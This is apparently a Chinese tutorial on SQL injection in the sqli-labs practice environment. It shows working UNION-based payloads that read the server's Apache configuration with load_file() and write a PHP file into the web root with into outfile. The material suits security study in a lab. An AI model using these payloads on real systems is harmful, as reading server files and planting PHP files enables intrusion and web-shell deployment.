sql注入 - 读写文件

本文深入探讨了SQL注入攻击中利用load_file()和into outfile函数进行文件读取与写入的技术细节。通过具体实例展示了如何利用这些函数读取目标服务器上的配置文件及在服务器上创建新的PHP文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. 读文件:

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,load_file("D:\\phpStudy\\PHPTutorial\\Apache\\conf\\httpd.conf")-- -

在显示位上显示apachectl的配置文件的信息

这就是load_file()函数的用法

2.写文件

http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\asascccccccd.php"-- -

虽然我们看到了页面显示我们语法错误,但是我们已经把文件写入了对应的文件夹位置

在文件夹生成了相应的php文件